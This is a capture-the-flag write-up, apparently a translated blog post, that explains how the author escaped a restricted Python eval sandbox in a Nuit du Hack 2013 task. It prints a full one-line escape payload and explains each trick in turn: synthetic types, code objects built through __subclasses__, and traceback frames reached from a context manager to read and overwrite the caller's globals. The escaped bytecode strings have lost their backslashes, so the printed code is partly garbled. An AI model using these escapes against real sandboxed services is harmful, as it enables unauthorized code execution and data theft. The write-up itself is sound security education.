Sandbox Escape with Python
Nuit du Hack CTF 2013 qualifying round took place yesterday. As usual, in a few notes I will tell you about interesting tasks and / or solutions of this CTF. If you want to know more, my teammate w4kfu also should post notes on my blog soon.
TL; DR:
auth(''.__class__.__class__('haxx2',(),{'__getitem__':
lambda self,*a:'','__len__':(lambda l:l('function')( l('code')(
1,1,6,67,'dx01x00ix00x00ix00x00dx02x00dx08x00hx02x00'
'dx03x00x84x00x00dx04x006dx05x00x84x00x00dx06x006x83'
'x03x00x83x00x00x04ix01x00x02ix02x00x83x00x00x01zn'
'x00dx07x00x82x01x00Wdx00x00QXdx00x00S',(None,'','haxx',
l('code')(1,1,1,83,'dx00x00S',(None,),('None',),('self',),'stdin',
'enter-lam',1,''),'__enter__',l('code')(1,2,3,87,'dx00x00x84x00'
'x00dx01x00x84x00x00x83x01x00|x01x00dx02x00x19ix00'
'x00ix01x00ix01x00ix02x00x83x01x00S',(l('code')(1,1,14,83,
'|x00x00dx00x00x83x01x00|x00x00dx01x00x83x01x00dx02'
'x00dx02x00dx02x00dx03x00dx04x00dnx00dx0bx00dx0cx00d'
'x06x00dx07x00dx02x00dx08x00x83x0cx00hx00x00x83x02'
'x00S',('function','code',1,67,'|x00x00GHdx00x00S','s','stdin',
'f','',None,(None,),(),('s',)),('None',),('l',),'stdin','exit2-lam',
1,''),l('code')(1,3,4,83,'gx00x00x04}x01x00dx01x00ix00x00i'
'x01x00dx00x00x19ix02x00x83x00x00D]!x00}x02x00|x02'
'x00ix03x00|x00x00jx02x00ox0bx00x01|x01x00|x02x00x12'
'qx1bx00x01qx1bx00~x01x00dx00x00x19S',(0, ()),('__class__',
'__bases__','__subclasses__','__name__'),('n','_[1]','x'),'stdin',
'locator',1,''),2),('tb_frame','f_back','f_globals'),('self','a'),
'stdin','exit-lam',1,''),'__exit__',42,()),('__class__','__exit__',
'__enter__'),('self',),'stdin','f',1,''),{}))(lambda n:[x for x in
().__class__.__bases__[0].__subclasses__() if x.__name__ == n][0])})())
One of the tasks called “Meow”, offers us a remote restricted shell with Python, where most of the built-in modules are disabled:
{'int': <type 'int'>, 'dir': <built-in function dir>,
'repr': <built-in function repr>, 'len': <built-in function len>,
'help': <function help at 0x2920488>}
Several functions were available, namely kitty()
which output the image of a cat in ASCII, and auth(password)
… I assumed we needed to bypass authentication and find a password. Unfortunately, our Python commands are passed to eval
in expression mode, which means that we cannot use any operator: neither the assignment operator, nor the print, nor the definitions of functions / classes, etc. The situation has become more complicated. We’ll have to use Python magic (there will be a lot of it in this post, I promise).
I first assumed that auth
just compares the password to a constant string. In this case, I could use a custom object with the changed __eq__
in such a way as to always return True
… However, you cannot just take and create such an object. We cannot define our own classes through a class Foo
as we cannot modify an already existing object (without assignment). This is where the Python magic begins: we can directly instantiate a type object to create a class object, and then instantiate that class object. Here’s how it’s done:
type('MyClass', (), {'__eq__': lambda self: True})
However, we cannot use the type here, it is not defined in built-in modules. We can use a different trick: every Python object has an attribute __class__
which gives us the type of the object. For instance, ‘’.__class__
this is str
… But what’s more interesting: str.__class__
Is the type. So we can use ''.__class__.__class__
to create a new type.
Unfortunately the function auth
doesn’t just compare our object to a string. She performs many other operations with it: it cuts it into 14 characters, takes the length through len()
and calls reduce
with a strange lambda. Without code, it’s hard to figure out how to make an object that behaves the way the function wants, and I don’t like guessing. More magic needed!
Let’s add code objects. In fact, functions in Python are also objects that consist of a code object and a capture of their global variables. The code object contains the bytecode of this function and the constant objects it refers to, some strings, names, and other metadata (number of arguments, number of local objects, stack size, mapping bytecode to line number). You can get the function code object with myfunc.func_code
… In mode restricted
the Python interpreter is prohibited, so we cannot see the function code auth
… However, we can create our own functions just like we created our own types!
You might ask, why use code objects to create functions when we already have a lambda? It’s simple: lambdas cannot contain operators. And randomly generated functions can! For example, we can create a function that outputs its argument to stdout
:
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|x00x00GHdx00x00S', (None,),
(), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
# Outputs 42
However, there is a small problem here: to get the type of the code object, you need to access the attribute func_code
which is limited. Luckily, we can use a little more Python magic to find our type without accessing forbidden attributes.
In Python, an object of type has the attribute __bases__
which returns a list of all of its base classes. It also has a method __subclasses__
which returns a list of all types inherited from it. If we use __bases__
on a random type, we can reach the top of the object type hierarchy and then read subclasses of object to get a list of all types defined in the interpreter:
>>> len(().__class__.__bases__[0].__subclasses__())
81
We can then use this list to find our types function
and code
:
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'function'][0]
<type 'function'>
>>> [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == 'code'][0]
<type 'code'>
Now that we can build any function we want, what can we do? We can directly access unlimited inline files: the functions we create are still executed in restricted
-environment. We can get a non-isolated function: the function auth
calls method __len__
the object that we pass as a parameter. However, this is not enough to escape the sandbox: our global variables are still the same, and we cannot, for example, import a module. I was trying to look at all the classes that we could access with __subclasses__
to see if we can get a link to a useful module through it, to no avail. Even getting a call to one of our created functions through the reactor was not enough. We could try to get the traceback object and use it to view the stack frames of the calling functions, but the only easy way to get the traceback object is through modules inspect
or sys
which we cannot import. After I stumbled on this problem, I switched to others, slept a lot and woke up with the right solution!
There is actually another way to get a traceback object in Python without using the standard library: context manager
… They were a new feature in Python 2.6 that allows for a kind of object-oriented scoping in Python:
class CtxMan:
def __enter__(self):
print 'Enter'
def __exit__(self, exc_type, exc_val, exc_tb):
print 'Exit:', exc_type, exc_val, exc_tb
with CtxMan():
print 'Inside'
error
# Output:
# Enter
# Inside
# Exit: <type 'exceptions.NameError'> name 'error' is not defined
<traceback object at 0x7f1a46ac66c8>
We can create an object context manager
which will use the traceback object passed to __exit__
, to display the global variables of a calling function that is outside the sandbox. For this we use combinations of all of our previous tricks. We create an anonymous type that defines __enter__
as a simple lambda and __exit__
as a lambda that accesses what we want in the trace and passes it to our outputted lambda (remember we can’t use operators):
''.__class__.__class__('haxx', (),
{'__enter__': lambda self: None,
'__exit__': lambda self, *a:
(lambda l: l('function')(l('code')(1, 1, 1, 67, '|x00x00GHdx00x00S',
(None,), (), ('s',), 'stdin', 'f',
1, ''), {})
)(lambda n: [x for x in ().__class__.__bases__[0].__subclasses__()
if x.__name__ == n][0])
(a[2].tb_frame.f_back.f_back.f_globals)})()
We need to dig deeper! Now we need to use this context manager
(which we will call ctx
in the following code snippets) in a function that will purposefully throw an error in a block with
:
def f(self):
with ctx:
raise 42
Then put f
as __len__
our created object that we pass to the function auth
:
auth(''.__class__.__class__('haxx2', (), {
'__getitem__': lambda *a: '',
'__len__': f
})())
Let’s go back to the beginning of the article and remember about the “real” embedded code. When run on the server, this causes the Python interpreter to run our function f
, goes through the created context manager
__exit__
which will access the global variables of our calling method, where there are two interesting values:
'FLAG2': 'ICanHazUrFl4g', 'FLAG1': 'Int3rnEt1sm4de0fc47'
Two flags ?! It turns out that the same service was used for two back-to-back tasks. Double kill!
To have some more fun accessing global variables, we can do more than just read: we can change flags! Through f_globals.update({ 'FLAG1': 'lol', 'FLAG2': 'nope' })
the flags will change until the next server restart. Apparently, the organizers did not plan this.
Anyway, I still don’t know how we were supposed to solve this problem in a normal way, but I think that such a universal solution is a good way to introduce readers to the black magic of Python. Use it carefully, it is easy to force Python to do segmentation with the generated code objects (using the Python interpreter and running the x86 shellcode through the generated bytecode is left to the reader). Thanks to the organizers of Nuit du Hack for a beautiful task.
Read more
- How do profilers work in Ruby and Python?
- Why you should start using FastAPI right now